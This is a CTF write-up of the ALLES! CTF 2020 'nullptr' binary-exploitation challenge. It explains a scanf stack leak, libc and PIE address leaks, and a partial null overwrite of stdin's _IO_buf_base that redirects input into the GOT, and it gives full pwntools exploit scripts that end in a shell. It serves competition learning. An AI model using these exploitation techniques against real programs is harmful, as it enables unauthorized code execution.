ALLES! CTF 2020 Nullptr
Challenge Details
Event | Challenge | Category | Link |
---|---|---|---|
ALLES! CTF 2020 | nullptr | PWN | https://ctftime.org/event/1091 |
Description
Category:Binary Exploitation Difficulty:Medium/Hard Author:Flo First Blood:3k
Solved By: 3k, RPISEC, DiceGang, RedRocket (4 solves)
Welcome to the House Of I’m pretty sure this is not even a heap challenge.
Challenge Files: nullptr.zip
ncat --ssl 7b000000455b22693d06c5a7.challenges.broker5.allesctf.net 1337
We participated in ALLES! CTF 2020 with the3000 team, and we ranked 8th at the end \o/ !
TL;DL
-
Leak stack pointer using logic bug in scanf format string.
-
Leak Libc and PIE addresses through arbitrary read using already given functionality.
-
Use arbitrary null pointer to overwrite **_IO_buf_base ** of stdin structure.
-
Get a shell \o/.
As Detailed in the description of the challenge, the author provided the necessary files to run the binary as intended which include the binary, Dockerfile and source code file.
Reverse Engineering
Static Analysis
We were give the source code of the application which makes it easier for us to analyze it and a 64 bits executable not stripped and dynamically linked as shown below:
$ file nullptr
nullptr: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dc37e094d9cc17b7b9c50eeba3a7100d412954d3, for GNU/Linux 3.2.0, with debug_info, not stripped
Also we have an idea about the **Libc ** (libc 2.30) used since we have the Dockerfile which includes the ubuntu version used on the remote server.
The given binary has nearly full protection except Partial Relro as shown below:
$ checksec ./nullptr
[*] '/tmp/kek/nullptr'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Source Code analysis
Let’s start with the main
function:
int main(void) {
unsigned long addr;
int menuchoice;
while (1) {
printf("[1. view, 2. null, -1. exit]> \n"); fflush(stdout);
scanf("%d", &menuchoice); getc(stdin);
switch (menuchoice) {
case 1:
printf("view address> \n"); fflush(stdout);
scanf("%lu", &addr); getc(stdin);
printf("%p: %p\n", addr, *(void**)addr);
break;
case 2:
printf("nuke address> \n"); fflush(stdout);
scanf("%lu", &addr); getc(stdin);
*(void**)addr = NULL;
printf("ok!\n");
break;
case -1:
printf("bye!\n");
return 1;
default:;
}
}
return 0;
}
the main subroutine introduces 3 choices as following:
View address
: Reads a long unsigned number using ‘%lu’ format string ofscanf
and print out the address ofaddr
variable alongside the content of the pointer supplied by the user which means the content of the pointer contained inaddr
variable.Nuke address
: Reads a long unsigned number using ‘%lu’ format string ofscanf
and overwrite the content of given address with null bytes (QWORD).exit
: Print out a message then returns.
Besides the main
function, the author was too generous to provide us with a win function which executes a ‘/bin/sh’
void get_me_out_of_this_mess() { execl("/bin/sh", "sh", NULL); }
Exploitation
Leaking Stack address
the binary has a logic bug, which can be abused by giving scanf
a non-numeric input.
if the conversion of the input to unsigned long fails, scanf will just free the used pointer and returns without modifying its second argument.
if (flags & NUMBER_SIGNED)
//Signed Number
num.l = __strtol_internal(char_buffer_start (&charbuf), &tw, base, flags & GROUP);
else
//Unsigned Number (our case)
num.ul = __strtoul_internal(char_buffer_start (&charbuf), &tw, base, flags & GROUP);
}
//check if the input was converted successfully else it calls conv_error()
if (__glibc_unlikely (char_buffer_start (&charbuf) == tw))
conv_error (); //free the pointers and returns.
Trying this theory on the given binary reveals a stack leak.
$ ./nullptr
[1. view, 2. null, -1. exit]>
1
view address>
a
0x7fffe7280ad0: 0x1 #Stack Leak \o/
[1. view, 2. null, -1. exit]>
It’s time to start implementing the exploit.
from pwn import *
p = remote("172.17.0.2",1024)
p.recvline()
p.sendline("1")
p.recvline()
p.sendline("a")
data = p.recvline().strip().split(":")[0]
stack_leak = int(data,16)
print hex(stack_leak)
Leaking Libc & PIE addresses
Since we have a valid stack address and an arbitrary read, we can find an address on the stack that contains a PIE address and use View address
to get its content. from that we can look for a Libc address in the binary.
from pwn import *
p = process("ncat --ssl 7b000000455b22693d06c5a7.challenges.broker5.allesctf.net 1337",shell=True)
p.recvline()
p.sendline("1")
p.recvline()
p.sendline("a")
data = p.recvline().strip().split(":")[0]
stack_leak = int(data,16)
print hex(stack_leak)
p.recvline()
off1 = stack_leak + (0x108-(9*8)) #offset on the stack that contains PIE address.
p.sendline("1")
p.sendline(str(off1))
p.recvline()
pie_leak = int(p.recvline().strip().split(": ")[1],16)
p.recvline()
print hex(pie_leak)
off2 = pie_leak + 0x2f78 #offset in the binary that contains libc address.
bin_base = pie_leak - 0x10a0
win = bin_base + 0x1199
got = bin_base + 0x4000
print hex(bin_base)
p.sendline("1")
p.sendline(str(off2))
p.recvline()
libc_leak = int(p.recvline().strip().split(": ")[1],16)
libc_base = libc_leak - 0x87490
print hex(libc_base)
Getting shell
Since the binary is partial relro, our idea is to overwrite one of the GOT entries with the address of win function. But how can we do that with just a null byte overwrite?
Let’s examine the following stdin
structure :
gdb-peda$ p stdin
$1 = (FILE *) 0x7ffff7f95980 <_IO_2_1_stdin_>
gdb-peda$ p _IO_2_1_stdin_
$2 = {
file = {
_flags = 0xfbad2288,
_IO_read_ptr = 0x5555555596b0 "",
_IO_read_end = 0x5555555596b0 "",
_IO_read_base = 0x5555555596b0 "",
_IO_write_base = 0x5555555596b0 "",
_IO_write_ptr = 0x5555555596b0 "",
_IO_write_end = 0x5555555596b0 "",
_IO_buf_base = 0x5555555596b0 "",
_IO_buf_end = 0x555555559ab0 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7f984d0 <_IO_stdfile_0_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7f95a60 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7f974a0 <_IO_file_jumps>
}
gdb-peda$
when a scanf
is used, it stores the input in the _IO_read_base which is a heap chunk pointer and then gets updated with _IO_buf_base pointer.
So our idea is to partially null-overwrite the _IO_buf_base in order to point to GOT.plt
section so the next scanf
call will store our input in that location.
Let’s take a look at the memory mapping of our process:
gdb-peda$ vmmap
Start End Perm Name
0x0000564c3b44e000 0x0000564c3b44f000 r--p /tmp/kek/nullptr
0x0000564c3b44f000 0x0000564c3b450000 r-xp /tmp/kek/nullptr
0x0000564c3b450000 0x0000564c3b451000 r--p /tmp/kek/nullptr
0x0000564c3b451000 0x0000564c3b452000 r--p /tmp/kek/nullptr
0x0000564c3b452000 0x0000564c3b453000 rw-p /tmp/kek/nullptr //GOT.plt
0x0000564c3befc000 0x0000564c3bf1d000 rw-p [heap]
0x00007efdc0dd0000 0x00007efdc0df5000 r--p /lib/x86_64-linux-gnu/libc-2.30.so
0x00007efdc0df5000 0x00007efdc0f3f000 r-xp /lib/x86_64-linux-gnu/libc-2.30.so
0x00007efdc0f3f000 0x00007efdc0f89000 r--p /lib/x86_64-linux-gnu/libc-2.30.so
0x00007efdc0f89000 0x00007efdc0f8c000 r--p /lib/x86_64-linux-gnu/libc-2.30.so
0x00007efdc0f8c000 0x00007efdc0f8f000 rw-p /lib/x86_64-linux-gnu/libc-2.30.so
0x00007efdc0f8f000 0x00007efdc0f95000 rw-p mapped
0x00007efdc0fc5000 0x00007efdc0fc6000 r--p /lib/x86_64-linux-gnu/ld-2.30.so
0x00007efdc0fc6000 0x00007efdc0fe4000 r-xp /lib/x86_64-linux-gnu/ld-2.30.so
0x00007efdc0fe4000 0x00007efdc0fec000 r--p /lib/x86_64-linux-gnu/ld-2.30.so
0x00007efdc0fed000 0x00007efdc0fee000 r--p /lib/x86_64-linux-gnu/ld-2.30.so
0x00007efdc0fee000 0x00007efdc0fef000 rw-p /lib/x86_64-linux-gnu/ld-2.30.so
0x00007efdc0fef000 0x00007efdc0ff0000 rw-p mapped
0x00007ffc42b91000 0x00007ffc42bb2000 rw-p [stack]
0x00007ffc42bef000 0x00007ffc42bf3000 r--p [vvar]
0x00007ffc42bf3000 0x00007ffc42bf5000 r-xp [vdso]
We noticed that the GOT
& Heap
pointers have only 3 different bytes, what if due to ASLR the last 3 bytes of GOT’s address are NULL, it will become 0x0000564c3b000000
.
In this case, we can partially overwrite the _IO_buf_base’s last 3 bytes with \x00
it will point to binary’s GOT section. Therefore, the next scanf
will read our input and store it into the GOT.
Since our target is the base of the GOT section, the last 12 bits will always be zeros. So we have 12 bits affected by the ASLR to bruteforce. Our chance to pull this off is 2^12.
Final Exploit:
from pwn import *
while True:
p = remote("172.17.0.2",1024)
p.recvline()
p.sendline("1")
p.recvline()
p.sendline("a")
data = p.recvline().strip().split(":")[0]
stack_leak = int(data,16)
print hex(stack_leak)
p.recvline()
off1 = stack_leak + (0x108-(9*8))
p.sendline("1")
p.sendline(str(off1))
p.recvline()
pie_leak = int(p.recvline().strip().split(": ")[1],16)
p.recvline()
print hex(pie_leak)
off2 = pie_leak + 0x2f78
bin_base = pie_leak - 0x10a0
win = bin_base + 0x1199
got = bin_base + 0x4000
print hex(bin_base)
if got & 0xfff000 == 0:
p.sendline("1")
p.sendline(str(off2))
p.recvline()
libc_leak = int(p.recvline().strip().split(": ")[1],16)
libc_base = libc_leak - 0x87490
dl_runtime = libc_base + 0x20da30
print hex(libc_base)
buf_base = libc_base + 0x1ea9b3
p.recv(8000)
p.sendline("1")
p.recvline()
p.sendline(str(got))
addr1 = int(p.recvline().strip().split(": ")[1],16)
p.recvline()
p.sendline("1")
p.recvline()
p.sendline(str(got+8))
addr2 = int(p.recvline().strip().split(": ")[1],16)
p.recvline()
p.sendline("2")
p.sendline(str(buf_base))
payload = ""
payload += p64(addr1)
payload += p64(addr2)
payload += p64(dl_runtime)
payload += p64(win)
print "Getting shell \o/"
p.sendline(payload)
p.interactive()
p.close()
Our target is puts’ GOT entry which is the fourth entry in the section, addr1
,addr2
and dl_runtime
are the first, second and third entries, mandatory for the binary to continue execution smoothly.
$ python sploit.py
[..]
[+] Opening connection to 172.17.0.2 on port 1024: Done
0x7ffcdd46ca50
0x560459ffd0a0
0x560459ffc000
0x7f396bf9b000
Getting shell \o/
[*] Switching to interactive mode
nuke address>
ok!
[1. view, 2. null, -1. exit]>
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag
CSCG¬TEST_FLAG}
$
\o/ !